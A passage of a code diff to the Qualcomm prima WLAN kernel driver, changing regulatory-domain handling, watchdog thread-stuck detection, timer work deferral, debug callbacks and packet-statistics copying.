vos_update_nv_table_from_wiphy_band(void *hdd_ctx, } /* nv cannot distinguish between DFS and passive channels */ else if (wiphy->bands[i]->channels[j].flags & - (IEEE80211_CHAN_RADAR | IEEE80211_CHAN_PASSIVE_SCAN)) + (IEEE80211_CHAN_RADAR | IEEE80211_CHAN_PASSIVE_SCAN | + IEEE80211_CHAN_INDOOR_ONLY)) { + if (wiphy->bands[i]->channels[j].flags & + IEEE80211_CHAN_INDOOR_ONLY) + wiphy->bands[i]->channels[j].flags |= + IEEE80211_CHAN_PASSIVE_SCAN; #ifdef FEATURE_WLAN_CH144 if ((RF_CHAN_144 == k) && (E_NV_V3 != vos_nv_getNvVersion())) { @@ -4017,6 +4024,27 @@ int __wlan_hdd_linux_reg_notifier(struct wiphy *wiphy, if (request->initiator == NL80211_REGDOM_SET_BY_DRIVER) { + if (vos_is_load_unload_in_progress(VOS_MODULE_ID_VOSS, NULL)) { + temp_reg_domain = REGDOMAIN_COUNT; + /* lookup the country in the local database */ + for (i = 0; i < countryInfoTable.countryCount && + REGDOMAIN_COUNT == temp_reg_domain; i++) + { + if (memcmp(request->alpha2, countryInfoTable.countryInfo[i].countryCode, + VOS_COUNTRY_CODE_LEN) == 0) + { + /* country code is found */ + /* record the temporary regulatory_domain as well */ + temp_reg_domain = countryInfoTable.countryInfo[i].regDomain; + break; + } + } + if (REGDOMAIN_COUNT == temp_reg_domain) + temp_reg_domain = REGDOMAIN_WORLD; + + cur_reg_domain = temp_reg_domain; + } + isVHT80Allowed = pHddCtx->isVHT80Allowed; if (create_linux_regulatory_entry(wiphy, request, nBandCapability) == 0) { @@ -4045,6 +4073,7 @@ int __wlan_hdd_linux_reg_notifier(struct wiphy *wiphy, if (!(pnvEFSTable->halnv.tables.defaultCountryTable.countryCode[0] == '0' && pnvEFSTable->halnv.tables.defaultCountryTable.countryCode[1] == '0') && + (request->initiator == NL80211_REGDOM_SET_BY_CORE) && (vos_is_load_unload_in_progress( VOS_MODULE_ID_VOSS, NULL))) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, @@ -4096,14 +4125,13 @@ int __wlan_hdd_linux_reg_notifier(struct wiphy *wiphy, if (request->alpha2[0] == '0' && request->alpha2[1] == '0') { sme_GenericChangeCountryCode(pHddCtx->hHal, country_code, - REGDOMAIN_COUNT); + REGDOMAIN_COUNT); } else { sme_GenericChangeCountryCode(pHddCtx->hHal, country_code, - temp_reg_domain); + temp_reg_domain); } - } /* Mark channels 36-48 as passive for US CC */ diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_sched.c b/drivers/staging/prima/CORE/VOSS/src/vos_sched.c index fc1aea4613d2f..95f551bd12dd7 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_sched.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_sched.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -73,6 +73,7 @@ #define MAX_SSR_WAIT_ITERATIONS 200 /* Timer value for detecting thread stuck issues */ #define THREAD_STUCK_TIMER_VAL 5000 // 5 seconds +#define THREAD_STUCK_COUNT 6 #define MC_Thread 0 #define TX_Thread 1 @@ -664,6 +665,19 @@ static void vos_wd_detect_thread_stuck(void) spin_lock_irqsave(&gpVosWatchdogContext->thread_stuck_lock, flags); + if ((gpVosWatchdogContext->mcThreadStuckCount == THREAD_STUCK_COUNT) || + (gpVosWatchdogContext->txThreadStuckCount == THREAD_STUCK_COUNT) || + (gpVosWatchdogContext->rxThreadStuckCount == THREAD_STUCK_COUNT)) + { + spin_unlock_irqrestore(&gpVosWatchdogContext->thread_stuck_lock, flags); + hddLog(LOGE, FL("Thread Stuck count reached threshold!!!" + "MC Count %d RX count %d TX count %d"), + gpVosWatchdogContext->mcThreadStuckCount, + gpVosWatchdogContext->rxThreadStuckCount, + gpVosWatchdogContext->txThreadStuckCount); + return; + } + if (gpVosWatchdogContext->mcThreadStuckCount || gpVosWatchdogContext->txThreadStuckCount || gpVosWatchdogContext->rxThreadStuckCount) @@ -694,6 +708,11 @@ static void vos_wd_detect_thread_stuck(void) vos_dump_stack(RX_Thread); } + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_THREAD_STUCK, + FALSE, TRUE); + spin_lock_irqsave(&gpVosWatchdogContext->thread_stuck_lock, flags); } @@ -846,6 +865,18 @@ VosWDThread clear_bit(WD_POST_EVENT, &pWdContext->wdEventFlag); while(1) { + + /* Post Msg to detect thread stuck. */ + if (test_and_clear_bit(WD_WLAN_DETECT_THREAD_STUCK, + &pWdContext->wdEventFlag)) + { + vos_wd_detect_thread_stuck(); + /* + * Process here and return without processing any SSR + * related logic. + */ + break; + } /* Check for any Active Entry Points * If active, delay SSR until no entry point is active or * delay until count is decremented to ZERO @@ -937,12 +968,6 @@ VosWDThread pWdContext->resetInProgress = false; complete(&pHddCtx->ssr_comp_var); } - /* Post Msg to detect thread stuck */ - else if(test_and_clear_bit(WD_WLAN_DETECT_THREAD_STUCK, - &pWdContext->wdEventFlag)) - { - vos_wd_detect_thread_stuck(); - } else { //Unnecessary wakeup - Should never happen!! @@ -1994,8 +2019,6 @@ VOS_STATUS vos_watchdog_wlan_shutdown(void) return VOS_STATUS_E_FAILURE; } - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "%s: WLAN driver is shutting down ", __func__); pVosContext = vos_get_global_context(VOS_MODULE_ID_HDD, NULL); pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, pVosContext ); @@ -2052,6 +2075,9 @@ VOS_STATUS vos_watchdog_wlan_shutdown(void) /* Release the lock here */ spin_unlock(&gpVosWatchdogContext->wdLock); + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: WLAN driver is shutting down ", __func__); + /* Update Riva Reset Statistics */ pHddCtx->hddRivaResetStats++; #ifdef CONFIG_HAS_EARLYSUSPEND @@ -2083,6 +2109,13 @@ VOS_STATUS vos_watchdog_wlan_shutdown(void) */ VOS_STATUS vos_watchdog_wlan_re_init(void) { + /* Make sure that Vos Watchdog context has been initialized */ + if (gpVosWatchdogContext == NULL) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, + "%s: gpVosWatchdogContext == NULL", __func__); + return VOS_STATUS_E_FAILURE; + } + /* watchdog task is still running, it is not closed in shutdown */ set_bit(WD_WLAN_REINIT_EVENT, &gpVosWatchdogContext->wdEventFlag); set_bit(WD_POST_EVENT, &gpVosWatchdogContext->wdEventFlag); @@ -2133,6 +2166,14 @@ void vos_ssr_unprotect(const char *caller_func) */ bool vos_is_wd_thread(int threadId) { + /* Make sure that Vos Watchdog context has been initialized */ + if (gpVosWatchdogContext == NULL) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, + "%s: gpVosWatchdogContext == NULL", __func__); + return false; + } + return ((gpVosWatchdogContext->WdThread) && (threadId == gpVosWatchdogContext->WdThread->pid)); } @@ -2143,12 +2184,15 @@ void vos_dump_stack(uint8_t thread_id) { case MC_Thread: wcnss_dump_stack(gpVosSchedContext->McThread); + break; case TX_Thread: wcnss_dump_stack(gpVosSchedContext->TxThread); + break; case RX_Thread: wcnss_dump_stack(gpVosSchedContext->RxThread); + break; default: VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, - "%s: Invalid thread invoked",__func__); + "%s: Invalid thread %d invoked",__func__, thread_id); } } diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_sched.h b/drivers/staging/prima/CORE/VOSS/src/vos_sched.h index f1b680e9e2914..e73cf39aa808a 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_sched.h +++ b/drivers/staging/prima/CORE/VOSS/src/vos_sched.h @@ -292,6 +292,11 @@ typedef struct _VosMsgWrapper } VosMsgWrapper, *pVosMsgWrapper; +typedef struct vos_wdthread_timer_work { + vos_timer_callback_t callback; + v_PVOID_t userData; + struct list_head node; +}vos_wdthread_timer_work_t; typedef struct _VosContextType { @@ -352,6 +357,14 @@ typedef struct _VosContextType /*Fw log complete Event*/ vos_event_t fwLogsComplete; + v_U32_t wakelock_log_level; + v_U32_t connectivity_log_level; + v_U32_t packet_stats_log_level; + v_U8_t vosWrapperFullReported; + vos_wdthread_timer_work_t wdthread_timer_work; + struct list_head wdthread_timer_work_list; + struct work_struct wdthread_work; + spinlock_t wdthread_work_lock; } VosContextType, *pVosContextType; diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_timer.c b/drivers/staging/prima/CORE/VOSS/src/vos_timer.c index feafd3b78698a..44e8681f26099 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_timer.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_timer.c @@ -44,6 +44,7 @@ #include #include "wlan_qct_sys.h" #include "vos_sched.h" +#include /*-------------------------------------------------------------------------- Preprocessor definitions and constants @@ -120,7 +121,10 @@ static void vos_linux_timer_callback (unsigned long data) v_PVOID_t userData=NULL; int threadId; VOS_TIMER_TYPE type=VOS_TIMER_TYPE_SW; - + v_CONTEXT_t vos_context = NULL; + pVosContextType vos_global_context; + vos_wdthread_timer_work_t *wdthread_timer_work; + VOS_ASSERT(timer); if (timer == NULL) @@ -220,7 +224,28 @@ static void vos_linux_timer_callback (unsigned long data) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, "TIMER callback: running on wd thread"); - callback(NULL); + vos_context = vos_get_global_context(VOS_MODULE_ID_HDD, NULL); + if(!vos_context) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: Global VOS context is Null", __func__); + return; + } + vos_global_context = (pVosContextType)vos_context; + wdthread_timer_work = vos_mem_malloc(sizeof(*wdthread_timer_work)); + if (NULL == wdthread_timer_work) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + "%s: No memory available", __func__); + return; + } + wdthread_timer_work->callback = callback; + wdthread_timer_work->userData = userData; + spin_lock(&vos_global_context->wdthread_work_lock); + list_add(&wdthread_timer_work->node, + &vos_global_context->wdthread_timer_work_list); + spin_unlock(&vos_global_context->wdthread_work_lock); + + schedule_work(&vos_global_context->wdthread_work); return; } #endif @@ -957,3 +982,110 @@ v_BOOL_t vos_timer_is_initialized(vos_timer_t *timer) return VOS_FALSE; } +/** + * vos_wdthread_init_timer_work() - Initialize timer work + * @callbackptr: timer work callback + * + * Initialize watchdog thread timer work structure and linked + * list. + * return - void + */ +void vos_wdthread_init_timer_work(void *callbackptr) +{ + pVosContextType context; + + context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!context) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: Global VOS context is Null", __func__); + return; + } + + spin_lock_init(&context->wdthread_work_lock); + INIT_LIST_HEAD(&context->wdthread_timer_work_list); +#if defined (WLAN_OPEN_SOURCE) + INIT_WORK(&context->wdthread_work, callbackptr); +#else + wcnss_init_work(&context->wdthread_work, callbackptr); +#endif +} + +/** + * vos_wdthread_flush_timer_work() - Flush timer work + * + * Flush watchdog thread timer work structure. + * return - void + */ +void vos_wdthread_flush_timer_work() +{ + pVosContextType context; + + context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!context) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: Global VOS context is Null", __func__); + return; + } + +#if defined (WLAN_OPEN_SOURCE) + cancel_work_sync(&context->wdthread_work); +#else + wcnss_flush_work(&context->wdthread_work); +#endif +} + +/** + * __vos_process_wd_timer() - Handle wathdog thread timer work + * + * Process watchdog thread timer work. + * return - void + */ +static void __vos_process_wd_timer(void) +{ + v_CONTEXT_t vos_context = NULL; + pVosContextType vos_global_context; + vos_wdthread_timer_work_t *wdthread_timer_work; + struct list_head *pos, *next; + + vos_context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + + if(!vos_context) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: Global VOS context is Null", __func__); + return; + } + + vos_global_context = (pVosContextType)vos_context; + + spin_lock(&vos_global_context->wdthread_work_lock); + list_for_each_safe(pos, next, + &vos_global_context->wdthread_timer_work_list) { + wdthread_timer_work = list_entry(pos, + vos_wdthread_timer_work_t, + node); + list_del(pos); + spin_unlock(&vos_global_context->wdthread_work_lock); + if (NULL != wdthread_timer_work->callback) + wdthread_timer_work->callback(wdthread_timer_work->userData); + vos_mem_free(wdthread_timer_work); + spin_lock(&vos_global_context->wdthread_work_lock); + } + spin_unlock(&vos_global_context->wdthread_work_lock); + + return; +} + +/** + * vos_process_wd_timer() - Wrapper function to handle timer work + * + * Wrapper function to process timer work. + * return - void + */ +void vos_process_wd_timer(void) +{ + vos_ssr_protect(__func__); + __vos_process_wd_timer(); + vos_ssr_unprotect(__func__); +} + diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_trace.c b/drivers/staging/prima/CORE/VOSS/src/vos_trace.c old mode 100755 new mode 100644 index 8c8beea965e1b..fda24aa2fc802 --- a/drivers/staging/prima/CORE/VOSS/src/vos_trace.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_trace.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -130,6 +130,8 @@ static tvosTraceData gvosTraceData; */ static tpvosTraceCb vostraceCBTable[VOS_MODULE_ID_MAX]; static tpvosTraceCb vostraceRestoreCBTable[VOS_MODULE_ID_MAX]; +static tp_vos_state_info_cb vos_state_info_table[VOS_MODULE_ID_MAX]; + /*------------------------------------------------------------------------- Functions ------------------------------------------------------------------------*/ @@ -451,6 +453,15 @@ void vosTraceInit() } } +void vos_register_debugcb_init() +{ + v_U8_t i; + + for (i = 0; i < VOS_MODULE_ID_MAX; i++) { + vos_state_info_table[i] = NULL; + } +} + /*----------------------------------------------------------------------------- \brief vos_trace() - puts the messages in to ring-buffer @@ -665,3 +676,28 @@ void vosTraceDumpAll(void *pMac, v_U8_t code, v_U8_t session, spin_unlock(<raceLock); } } + +/** + * vos_register_debug_callback() - stores callback handlers to print + * state information + */ +void vos_register_debug_callback(VOS_MODULE_ID moduleID, + tp_vos_state_info_cb vos_state_infocb) +{ + vos_state_info_table[moduleID] = vos_state_infocb; +} + +/** + * vos_state_info_dump_all() - it invokes callback of layer which registered + * its callback to print its state information. + * @cb_context: call back context to be passed + */ +void vos_state_info_dump_all() +{ + v_U8_t module; + + for (module = 0; module < VOS_MODULE_ID_MAX; module++) { + if (NULL != vos_state_info_table[module]) + vos_state_info_table[module](); + } +} diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_utils.c b/drivers/staging/prima/CORE/VOSS/src/vos_utils.c index 834b21b9b164b..879c376e18c00 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_utils.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_utils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -67,6 +67,8 @@ #include #include #include +#include "vos_diag_core_event.h" + /*---------------------------------------------------------------------------- * Preprocessor Definitions and Constants @@ -760,6 +762,20 @@ v_BOOL_t gRoamDelayCurrentIndex = 0; #define VOS_QOS_DATA_VALUE ( 0x88 ) #define VOS_NON_QOS_DATA_VALUE ( 0x80 ) +//802.11 header wil have 24 byte excluding qos +#define VOS_802_11_HEADER_SIZE ( 24 ) +#define VOS_QOS_SIZE ( 2 ) +#define VOS_LLC_HEADER_SIZE (8) +#define VOS_IP_HEADER_SIZE (20) +#define VOS_TCP_MIN_HEADER_SIZE (20) +#define VOS_DEF_PKT_STATS_LEN_TO_COPY \ + (VOS_802_11_HEADER_SIZE + VOS_LLC_HEADER_SIZE \ + + VOS_IP_HEADER_SIZE + VOS_TCP_MIN_HEADER_SIZE) +// DHCP Port number +#define VOS_DHCP_SOURCE_PORT 0x4400 +#define VOS_DHCP_DESTINATION_PORT 0x4300 + + // Frame Type definitions #define VOS_MAC_MGMT_FRAME 0x0 @@ -777,15 +793,13 @@ v_BOOL_t vos_skb_is_eapol(struct sk_buff *skb, { void *pBuffer = NULL; v_BOOL_t fEAPOL = VOS_FALSE; - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "enter vos_skb_is_eapol"); - //vos_trace_hex_dump( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, &skb->data[0], skb->len); + // Validate the skb if (unlikely(NULL == skb)) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "vos_skb_is_eapol [%d]: NULL skb", __LINE__); - return VOS_STATUS_E_INVAL; - VOS_ASSERT(0); + return VOS_FALSE; } // check for overflow if (unlikely((pktOffset + numBytes) > skb->len)) @@ -793,7 +807,7 @@ v_BOOL_t vos_skb_is_eapol(struct sk_buff *skb, VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "vos_skb_is_eapol [%d]: Packet overflow, offset %d size %d len %d", __LINE__, pktOffset, numBytes, skb->len); - return VOS_STATUS_E_INVAL; + return VOS_FALSE; } //check for the Qos Data, if Offset length is more 12. //it means it will 802.11 header skb @@ -808,7 +822,6 @@ v_BOOL_t vos_skb_is_eapol(struct sk_buff *skb, { fEAPOL = VOS_TRUE; } - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "exit vos_skb_is_eapol fEAPOL = %d", fEAPOL); return fEAPOL; } @@ -1468,3 +1481,96 @@ void vos_dump_roam_time_log_service(void) "||== END =====================" "===============================||\n"); } + +v_U32_t vos_copy_80211_data(void *pBuff, v_U8_t *dst, v_U8_t frametype) +{ + vos_pkt_t *vos_pkt = NULL; + struct sk_buff *skb = NULL; + v_U32_t length_to_copy; + + vos_pkt = (vos_pkt_t *)pBuff; + + if(!vos_pkt || !dst) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "vos_pkt/dst is null"); + return 0; + } + skb = vos_pkt->pSkb; + if(!skb) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + " skb is null"); + return 0; + } + if (VOS_MAC_MGMT_FRAME == frametype) + { + length_to_copy = skb->len; + } + else + { + length_to_copy = VOS_DEF_PKT_STATS_LEN_TO_COPY; + if(skb->data[0] == VOS_QOS_DATA_VALUE) + length_to_copy += VOS_QOS_SIZE; + + /* Copy whole skb data if DHCP or EAPOL pkt.Here length_to_copy + * will give the pointer to IP header and adding VOS_IP_HEADER_SIZE + * to it will give the DHCP port number. + */ + if (((skb->len > (length_to_copy + VOS_IP_HEADER_SIZE)) && + ((*((u16*)((u8*)skb->data + length_to_copy + VOS_IP_HEADER_SIZE)) + == VOS_DHCP_SOURCE_PORT) || + (*((u16*)((u8*)skb->data + length_to_copy + VOS_IP_HEADER_SIZE)) + == VOS_DHCP_DESTINATION_PORT))) || + vos_skb_is_eapol(skb, + VOS_ETHERTYPE_802_1_X_FRAME_OFFSET_IN_802_11_PKT, + VOS_ETHERTYPE_802_1_X_SIZE)) + { + length_to_copy = skb->len; + } + } + + if (length_to_copy > skb->len) + { + length_to_copy = skb->len; + } + if (length_to_copy > MAX_PKT_STAT_DATA_LEN) + { + length_to_copy = MAX_PKT_STAT_DATA_LEN; + } + + vos_mem_copy(dst, skb->data, length_to_copy); + return length_to_copy; +} + +#ifdef FEATURE_WLAN_DIAG_SUPPORT +/** + * vos_tdls_tx_rx_mgmt_event()- send tdls mgmt rx tx event + * + * @event_id: event id + * @tx_rx: tx or rx + * @type: type of frame + * @action_sub_type: action frame type + * @peer_mac: peer mac + * + * This Function sendsend tdls mgmt rx tx diag event + * + * Return: void. + */ +void vos_tdls_tx_rx_mgmt_event(uint8_t event_id, uint8_t tx_rx, + uint8_t type, uint8_t action_sub_type, uint8_t *peer_mac) +{ + WLAN_VOS_DIAG_EVENT_DEF(tdls_tx_rx_mgmt, + struct vos_event_tx_rx_mgmt); + vos_mem_zero(&tdls_tx_rx_mgmt, sizeof(tdls_tx_rx_mgmt)); + + tdls_tx_rx_mgmt.event_id = event_id; + tdls_tx_rx_mgmt.tx_rx = tx_rx; + tdls_tx_rx_mgmt.type = type; + tdls_tx_rx_mgmt.action_sub_type = action_sub_type; + vos_mem_copy(tdls_tx_rx_mgmt.peer_mac, + peer_mac, VOS_MAC_ADDR_SIZE); + WLAN_VOS_DIAG_EVENT_REPORT(&tdls_tx_rx_mgmt, + EVENT_WLAN_TX_RX_MGMT); +} +#endif diff --git a/drivers/staging/prima/CORE/WDA/inc/legacy/wlan_qct_hal.h b/drivers/staging/prima/CORE/WDA/inc/legacy/wlan_qct_hal.h index 568f9f8c9223e..3d1909c5724ba 100644 --- a/drivers/staging/prima/CORE/WDA/inc/legacy/wlan_qct_hal.h +++ b/drivers/staging/prima/CORE/WDA/inc/legacy/wlan_qct_hal.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -230,7 +230,7 @@ typedef struct sUapsdInfo { /*------------ RSSI and SNR Information extraction -------------*/ #define WLANHAL_RX_BD_GET_RSSI0( _pvBDHeader ) \ - (((((tpHalRxBd)_pvBDHeader)->phyStats0) >> 24) & 0xff) + (((((tpHalRxBd)_pvBDHeader)->phyStats0) >> 24) & 0x7f) #define WLANHAL_RX_BD_GET_RSSI1( _pvBDHeader ) \ (((((tpHalRxBd)_pvBDHeader)->phyStats0) >> 16) & 0xff) #define WLANHAL_RX_BD_GET_RSSI2( _pvBDHeader ) \ @@ -339,7 +339,9 @@ tANI_U8 WLANHAL_RxBD_GetFrameTypeSubType(v_PVOID_t _pvBDHeader, tANI_U16 usFrmCt #define HAL_TDLS_PEER_STA_MASK 0x80 //bit 7 set for TDLS peer station #endif -#define HAL_RELIABLE_MCAST_REQUESTED_MASK 0x100 +#ifdef WLAN_FEATURE_RMC +#define HAL_RMC_REQUESTED_MASK 0x100 +#endif #define HAL_USE_BD_RATE_1_MASK 0x1000 // bit 12 for BD RATE 1 #define HAL_USE_BD_RATE_2_MASK 0x2000 // bit 13 for BD RATE 1 diff --git a/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h b/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h index dc09fc93913f0..ef48cd80e3607 100644 --- a/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h +++ b/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -381,6 +381,10 @@ typedef void (*pWDATxRxCompFunc)( v_PVOID_t pContext, void *pData ); //parameter 2 - txComplete status : 1- success, 0 - failure. typedef eHalStatus (*pWDAAckFnTxComp)(tpAniSirGlobal, void *pData); +#ifdef WLAN_FEATURE_RMC +typedef void (*WDA_txFailIndCallback)(tANI_U8 *, tANI_U8); +#endif /* WLAN_FEATURE_RMC */ + typedef struct { tANI_U16 ucValidStaIndex ; @@ -433,6 +437,16 @@ typedef struct #define BMPS_IMPS_FAILURE_REPORT_THRESHOLD 10 +/* Continous Response failure counts */ +typedef struct +{ + wpt_uint8 enterBmpsFailureCount; + wpt_uint8 exitBmpsFailureCount; + wpt_uint8 enterImpsFailureCount; + wpt_uint8 exitImpsFailureCount; +} tWDA_RespFailureCounts; + + typedef struct { v_PVOID_t pVosContext; /* global VOSS context*/ @@ -501,7 +515,14 @@ typedef struct vos_event_t ftmStopDoneEvent; tWDA_AddSelfStaDebugParams wdaAddSelfStaParams; + +#ifdef WLAN_FEATURE_RMC + WDA_txFailIndCallback txFailIndCallback; +#endif /* WLAN_FEATURE_RMC */ + tWDA_RespFailureCounts failureCounts; wpt_uint8 mgmtTxfailureCnt; + uint8_t mgmt_pktfree_fail; + vos_lock_t mgmt_pkt_lock; } tWDA_CbContext ; @@ -789,6 +810,7 @@ tBssSystemRole wdaGetGlobalSystemRole(tpAniSirGlobal pMac); # define WDA_GET_OFFLOADSCANLEARN(pRxMeta) (((WDI_DS_RxMetaInfoType*)(pRxMeta))->offloadScanLearn) /* WDA_GET_ROAMCANDIDATEIND **************************************************/ # define WDA_GET_ROAMCANDIDATEIND(pRxMeta) (((WDI_DS_RxMetaInfoType*)(pRxMeta))->roamCandidateInd) +# define WDA_IF_PER_ROAMCANDIDATEIND(pRxMeta) (((WDI_DS_RxMetaInfoType*)(pRxMeta))->perRoamCndInd) #endif #ifdef WLAN_FEATURE_EXTSCAN #define WDA_GET_EXTSCANFULLSCANRESIND(pRxMeta) (((WDI_DS_RxMetaInfoType*)(pRxMeta))->extscanBuffer) @@ -796,11 +818,7 @@ tBssSystemRole wdaGetGlobalSystemRole(tpAniSirGlobal pMac); /* WDA_GET_RX_RSSI_DB ********************************************************/ // Volans RF # define WDA_RSSI_OFFSET 100 -# define WDA_GET_RSSI0_DB(rssi0) (rssi0 - WDA_RSSI_OFFSET) -# define WDA_GET_RSSI1_DB(rssi0) (0 - WDA_RSSI_OFFSET) -# define WDA_MAX_OF_TWO(val1, val2) ( ((val1) > (val2)) ? (val1) : (val2)) -# define WDA_GET_RSSI_DB(rssi0) \ - WDA_MAX_OF_TWO(WDA_GET_RSSI0_DB(rssi0), WDA_GET_RSSI1_DB(rssi0)) +# define WDA_GET_RSSI_DB(rssi0) ((int)rssi0 - WDA_RSSI_OFFSET) # define WDA_GET_RX_RSSI_DB(pRxMeta) \ WDA_GET_RSSI_DB((((WDI_DS_RxMetaInfoType*)(pRxMeta))->rssi0)) @@ -1164,6 +1182,10 @@ tSirRetStatus uMacPostCtrlMsg(void* pSirGlobal, tSirMbMsg* pMb); #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD #define WDA_ROAM_SCAN_OFFLOAD_REQ SIR_HAL_ROAM_SCAN_OFFLOAD_REQ #define WDA_ROAM_SCAN_OFFLOAD_RSP SIR_HAL_ROAM_SCAN_OFFLOAD_RSP +#define WDA_PER_ROAM_SCAN_OFFLOAD_REQ SIR_HAL_PER_ROAM_SCAN_OFFLOAD_REQ +#define WDA_PER_ROAM_SCAN_OFFLOAD_RSP SIR_HAL_PER_ROAM_SCAN_OFFLOAD_RSP +#define WDA_PER_ROAM_SCAN_TRIGGER_REQ SIR_HAL_PER_ROAM_SCAN_TRIGGER_REQ +#define WDA_PER_ROAM_SCAN_TRIGGER_RSP SIR_HAL_PER_ROAM_SCAN_TRIGGER_RSP #endif #ifdef WLAN_WAKEUP_EVENTS @@ -1182,6 +1204,10 @@ tSirRetStatus uMacPostCtrlMsg(void* pSirGlobal, tSirMbMsg* pMb); #define WDA_DHCP_START_IND SIR_HAL_DHCP_START_IND #define WDA_DHCP_STOP_IND SIR_HAL_DHCP_STOP_IND +#ifdef WLAN_FEATURE_RMC +#define WDA_TX_FAIL_MONITOR_IND SIR_HAL_TX_FAIL_MONITOR_IND +#endif /* WLAN_FEATURE_RMC */ + #ifdef WLAN_FEATURE_GTK_OFFLOAD #define WDA_GTK_OFFLOAD_REQ SIR_HAL_GTK_OFFLOAD_REQ @@ -1217,14 +1243,24 @@ tSirRetStatus uMacPostCtrlMsg(void* pSirGlobal, tSirMbMsg* pMb); #define WDA_ADD_PERIODIC_TX_PTRN_IND SIR_HAL_ADD_PERIODIC_TX_PTRN_IND #define WDA_DEL_PERIODIC_TX_PTRN_IND SIR_HAL_DEL_PERIODIC_TX_PTRN_IND +#define WDA_RATE_UPDATE_IND SIR_HAL_RATE_UPDATE_IND + +#ifdef WLAN_FEATURE_RMC +#define WDA_RMC_BECOME_RULER SIR_HAL_RMC_BECOME_RULER +#define WDA_RMC_RULER_SELECT_RESP SIR_HAL_RMC_RULER_SELECT_RESP +#define WDA_RMC_RULER_REQ SIR_HAL_RMC_RULER_REQ +#define WDA_RMC_UPDATE_IND SIR_HAL_RMC_UPDATE_IND +/* IBSS peer info related message */ +#define WDA_GET_IBSS_PEER_INFO_REQ SIR_HAL_IBSS_PEER_INFO_REQ +#define WDA_GET_IBSS_PEER_INFO_RSP SIR_HAL_IBSS_PEER_INFO_RSP +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN #define WDA_SET_BATCH_SCAN_REQ SIR_HAL_SET_BATCH_SCAN_REQ #define WDA_SET_BATCH_SCAN_RSP SIR_HAL_SET_BATCH_SCAN_RSP #define WDA_STOP_BATCH_SCAN_IND SIR_HAL_STOP_BATCH_SCAN_IND #define WDA_TRIGGER_BATCH_SCAN_RESULT_IND SIR_HAL_TRIGGER_BATCH_SCAN_RESULT_IND #endif -#define WDA_RATE_UPDATE_IND SIR_HAL_RATE_UPDATE_IND - #define WDA_HT40_OBSS_SCAN_IND SIR_HAL_HT40_OBSS_SCAN_IND #define WDA_HT40_OBSS_STOP_SCAN_IND 